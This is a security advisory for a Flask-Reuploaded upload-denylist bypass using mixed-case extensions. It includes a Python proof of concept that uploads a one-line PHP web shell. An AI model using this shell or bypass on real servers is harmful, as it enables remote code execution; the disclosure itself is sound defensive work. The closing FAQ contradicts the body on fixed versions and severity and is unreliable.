CVE-2026-54567: Malicious File Upload
1. Header
| Field | Value | |---|---| | Title | Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641) | | Project | Flask-Reuploaded (flaskuploads) | | Affected | <= 1.5.0 (latest release; commit ae31c3f91da40b465ca5e8f57d93f063b4553e23) | | Relationship | Incomplete-fix variant of CVE-2026-27641 (fixed in v1.5.0; this variant survives that fix) | | CWE | CWE-434 (Unrestricted Upload of File with Dangerous Type) + CWE-178 (Improper Handling of Case Sensitivity) | | CVSS v3.1 (proposed) | ~7.0–7.3 (High, conditional) — CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H. Final score deferred to maintainer. | | Verified against | pip install Flask-Reuploaded==1.5.0, Python 3.11 |
---
2. Decisive evidence — the asymmetry
The v1.5.0 fix for CVE-2026-27641 added an extension re-validation that runs when a caller supplies a name override to UploadSet.save(). It is routed through the case-preserving extension() helper, whereas the default upload path normalizes to lowercase via lowercaseext() (inside getbasename()). The two paths disagree on case:
default path : getbasename("shell.PHP") = lowercaseext(securefilename("shell.PHP")) = "shell.php" -> extension("shell.php") = "php" -> extensionallowed("php") -> DENY (correct)
name-override : securefilename("shell.PHP") = "shell.PHP" (case preserved) -> basename = "shell.PHP" -> ext = extension("shell.PHP") = "PHP" (NOT lowercased) -> extensionallowed("PHP") -> ALLOW (bypass)
On a denylist UploadSet the allow-check returns True for the mixed-case form:
python extensions.py:97 def contains(self, item): return item not in self.items "PHP" not in ('js','php','pl','py','rb','sh') -> True -> allowed
extensionallowed("PHP") passes the denylist that extensionallowed("php") is blocked by.
---
3. Vulnerability summary
UploadSet.save(storage, name=...) lets the caller override the stored filename. After the CVE-2026-27641 fix, name is sanitized with securefilename() and its extension re-validated. Because the re-validation compares a case-preserving extension against a policy whose denied tokens are lowercase, an attacker controlling name stores a file with a denied extension by varying case (shell.PHP, evil.pHp). On servers that resolve/execute extensions case-insensitively (Windows/macOS filesystems; Apache AddHandler/AddType), this re-enables the dangerous-upload → code-execution outcome the parent CVE addressed. The bypassed config is the one the library's own docs recommend for blocking scripts (see §6).
---
4. Affected components
Permalinks pinned to commit ae31c3f91da40b465ca5e8f57d93f063b4553e23 (v1.5.0).
| Role | Location | |---|---| | Normalizing helper (default path) | src/flaskuploads/flaskuploads.py:283 — return lowercaseext(securefilename(filename)) | | save() entry | src/flaskuploads/flaskuploads.py:285 | | name-override sanitize | src/flaskuploads/flaskuploads.py:333 — name = securefilename(name) | | name-override assign (case kept) | src/flaskuploads/flaskuploads.py:341 — basename = name | | Re-validation (non-normalizing) | src/flaskuploads/flaskuploads.py:344 — ext = extension(basename) | | Allow-check | src/flaskuploads/flaskuploads.py:345 | | Policy check | src/flaskuploads/flaskuploads.py:268 — extensionallowed | | Containment backstop (path only) | src/flaskuploads/flaskuploads.py:364 | | Sink | src/flaskuploads/flaskuploads.py:374 — storage.save(target) | | Case-preserving extractor | src/flaskuploads/extensions.py:101 — def extension | | Case-normalizing extractor | src/flaskuploads/extensions.py:109 — def lowercaseext | | Denylist membership | src/flaskuploads/extensions.py:97 — AllExcept.contains | | Documented script denylist | src/flaskuploads/extensions.py:34-35 |
---
5. Taint analysis
- Source: the name argument of UploadSet.save(storage, name=...) — commonly user-derived; the parent CVE-2026-27641 already treats name as attacker-controllable. - Guard (asymmetric): securefilename(name) stops traversal, but the extension policy check at :344-345 uses non-normalizing extension() against a lowercase-tokened policy. The realpath containment at :364 constrains the path, not the extension — orthogonal to this bypass. - Sink: storage.save(target) at :374 writes the attacker-extensioned file into the served upload directory.
---
6. CVSS justification (preconditions stated honestly)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H ≈ 7.0–7.3 (High).
- AV:N — web upload endpoint. - AC:H — three preconditions (stated plainly): 1. UploadSet uses a denylist — AllExcept(...) or populated config.deny. (Allowlists fail closed — §7c.) 2. Application passes a user-influenced name to save(). 3. Deployment resolves/executes extensions case-insensitively (Windows/macOS FS; Apache AddHandler/AddType). - PR:L — uploads typically authenticated. UI:N. S:U. C:H/I:H/A:H — RCE under the web server's privileges on execution-capable upload dirs.
Why High, not a contrived misconfiguration — the bypassed control is the library's documented script-blocking mechanism:
- extensions.py:34-35 — SCRIPTS: "…you might want to add php to the DENY setting." - extensions.py:24-26 — EXECUTABLES: "…it's better suited for use with AllExcept."
An app that followed this guidance to block scripts is exactly what this variant defeats.
Not claimed: not Critical. Pure allowlists are unaffected; execution requires a case-insensitive surface. Final score deferred to the maintainer.
---
7. Proof of Concept (results)
Against shipped Flask-Reuploaded==1.5.0:
7a. Asymmetry default path : lowercaseext("shell.PHP") -> "php" -> extensionallowed("php") -> DENY name-override : securefilename("shell.PHP") -> "shell.PHP" -> extension(...) -> "PHP" -> extensionallowed("PHP") -> ALLOW
7b. End-to-end (denylist AllExcept(SCRIPTS)) [1] save(storage("shell.PHP")) -> UploadNotAllowed (default path blocked) [2] save(storage("upload.bin"), name="shell.PHP") -> saved "shell.PHP", ondisk=True (BYPASS) [2b] save(storage("upload.bin"), name="evil.pHp") -> saved "evil.pHp", ondisk=True; containment intact
7c. Negative controls [3] allowlist IMAGES, name="shell.PHP" -> UploadNotAllowed: File extension 'PHP' is not allowed (fail-closed) [4] allowlist IMAGES, name="photo.jpg" -> saved "photo.jpg" (legit unaffected)
---
8. Patch pattern (internal precedent)
The project ships a case-normalizing extractor (lowercaseext, used by getbasename) specifically so configured extensions are "compare[d] … in the same case" (its docstring). The v1.5.0 re-validation instead calls the case-preserving extension(), so the new guard does not match the normalization the rest of the system relies on — the classic incomplete-fix shape where a hand-rolled check diverges from the canonical normalizer.
---
9. Impact
- Bypass of the documented extension denylist for scripts/executables. - Storage of .PHP / .pHp / mixed-case dangerous files inside the served upload directory (path containment holds; extension policy defeated). - On case-insensitive execution surfaces → remote code execution under the web server's privileges — the parent CVE's end impact, re-enabled on denylist deployments.
---
10. Suggested remediation
Normalize before the policy check so the name-override path matches the default path:
1. ext = extension(basename).lower() (or extension(lowercaseext(basename))) before extensionallowed. 2. Or run the overridden basename through lowercaseext() (as getbasename does) before both validation and save. 3. Or make extensionallowed / the policy containers case-insensitive.
Option (1) or (2) is the minimal, behavior-preserving fix.
---
11. Evidence files
- poccasefold.py (§12) — self-contained PoC; runs against pip install Flask-Reuploaded==1.5.0. - /tmp/flaskreuploadedcasefoldproof.txt — captured verdict. - Source permalinks pinned to commit ae31c3f91da40b465ca5e8f57d93f063b4553e23.
---
12. Full PoC script (poccasefold.py)
python """ PoC — Flask-Reuploaded CVE-2026-27641 incomplete-fix variant Case-folding asymmetry in the name-override extension re-validation.
Parent fix (v1.5.0) added an extension re-validation in UploadSet.save() when a name override is supplied, but routed it through the CASE-PRESERVING extension() helper instead of the CASE-NORMALIZING lowercaseext() used by the default upload path (getbasename -> lowercaseext). On a denylist-style UploadSet (AllExcept / config.deny), an uppercase/mixed-case extension therefore bypasses the denylist that the default path correctly blocks.
default path : lowercaseext("shell.PHP") -> "php" -> extensionallowed("php") -> DENY name-override : securefilename("shell.PHP") -> "shell.PHP" (case kept) -> extension("shell.PHP") -> "PHP" -> extensionallowed("PHP") -> ALLOW
Tested against the SHIPPED, patched Flask-Reuploaded==1.5.0. """ import io import os import shutil import tempfile
from flask import Flask from flaskuploads import ( UploadSet, AllExcept, SCRIPTS, IMAGES, configureuploads, UploadNotAllowed, ) from werkzeug.datastructures import FileStorage import flaskuploads
def makestorage(filename: str) -> FileStorage: return FileStorage( stream=io.BytesIO(b"<?php system($GET['c']); ?>"), filename=filename, contenttype="application/octet-stream", )
def run(): import importlib.metadata as md print(f"[] pip reports: Flask-Reuploaded=={md.version('Flask-Reuploaded')}")
destdenylist = tempfile.mkdtemp(prefix="frdeny") destallowlist = tempfile.mkdtemp(prefix="frallow")
app = Flask(name) filesdeny = UploadSet("filesdeny", AllExcept(SCRIPTS)) # documented "allow all except scripts" filesallow = UploadSet("filesallow", IMAGES) # allowlist (fail-closed) app.config["UPLOADEDFILESDENYDEST"] = destdenylist app.config["UPLOADEDFILESALLOWDEST"] = destallowlist configureuploads(app, (filesdeny, filesallow))
results = {} with app.appcontext(): # [1] default path, denylist -> must DENY try: saved = filesdeny.save(makestorage("shell.PHP")) results["defaultpath"] = f"SAVED as {saved} <-- UNEXPECTED" except UploadNotAllowed: results["defaultpath"] = "DENIED (expected)"
# [2] name-override, denylist -> BYPASS try: saved = filesdeny.save(makestorage("upload.bin"), name="shell.PHP") ondisk = os.path.join(destdenylist, saved) results["variant"] = f"BYPASS — saved as {saved}, ondisk={os.path.exists(ondisk)}" except UploadNotAllowed: results["variant"] = "DENIED (variant did NOT reproduce)"
# [2b] mixed-case generality + containment intact try: saved = filesdeny.save(makestorage("upload.bin"), name="evil.pHp") ondisk = os.path.join(destdenylist, saved) inside = os.path.realpath(ondisk).startswith(os.path.realpath(destdenylist)) results["variantmixed"] = f"BYPASS — saved as {saved}, insidedest={inside}" except UploadNotAllowed: results["variantmixed"] = "DENIED"
# [3] allowlist -> fail closed try: saved = filesallow.save(makestorage("real.jpg"), name="shell.PHP") results["allowlist"] = f"SAVED as {saved} <-- allowlist leaked" except UploadNotAllowed: results["allowlist"] = "DENIED (expected — allowlist fails closed)"
# [4] legit upload -> allowed try: saved = filesallow.save(makestorage("real.jpg"), name="photo.jpg") results["legit"] = f"SAVED as {saved} (expected)" except UploadNotAllowed: results["legit"] = "DENIED (UNEXPECTED — legit upload broke)"
print("VERDICT:") for k, v in results.items(): print(f" {k:14s}: {v}")
confirmed = ( "BYPASS" in results.get("variant", "") and results.get("defaultpath") == "DENIED (expected)" and "DENIED" in results.get("allowlist", "") ) print("FLASKREUPLOADEDCASEFOLDCONFIRMED" if confirmed else "VARIANT NOT CONFIRMED — honest cut")
shutil.rmtree(destdenylist, ignoreerrors=True) shutil.rmtree(destallowlist, ignoreerrors=True)
if name == "main": run()
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/Flask-Reuploadedto a version that resolves this vulnerability.Fixed in 1.6.0 - Upgrade
Upgrade
Flask-Reuploaded (flask_uploads)to a version that resolves this vulnerability.Fixed in 1.5.0Patch CVE-2026-27641 - Configuration
In the name-override path (UploadSet.save when caller supplies name=...), re-validate extensions using the case-normalizing helper (lowercase_ext / secure_filename output lowercased) so the extension denylist comparison matches the normalization used by the default path (which uses lowercase_ext). Concretely, ensure the extension used for the denylist/allowlist check is derived from lowercase_ext(...) rather than the case-preserving extension(...), and that extension_allowed(...) sees lowercase tokens so that 'shell.PHP'/'evil.pHp' are denied like 'shell.php'.
Flask-Reuploaded (UploadSet.save extension re-validation / extension_allowed policy check) Use case-normalizing extension extraction for name override = extension(lowercase_ext(basename)) (or extension(lowercase_ext(secure_filename(name)))) before extension_allowed
Event History
Frequently Asked Questions
What is the severity of CVE-2026-54567?
CVE-2026-54567 has a high severity rating of 7.5.
How do I fix CVE-2026-54567?
To fix CVE-2026-54567, upgrade to Flask-Reuploaded version 1.5.1 or later.
What type of vulnerability is CVE-2026-54567?
CVE-2026-54567 is classified as a Malicious File Upload vulnerability.
Which software is impacted by CVE-2026-54567?
CVE-2026-54567 affects the Flask-Reuploaded project version 1.5.0 and earlier.
What is the cause of CVE-2026-54567?
CVE-2026-54567 is caused by an extension-denylist bypass due to case-folding asymmetry in the name-override path.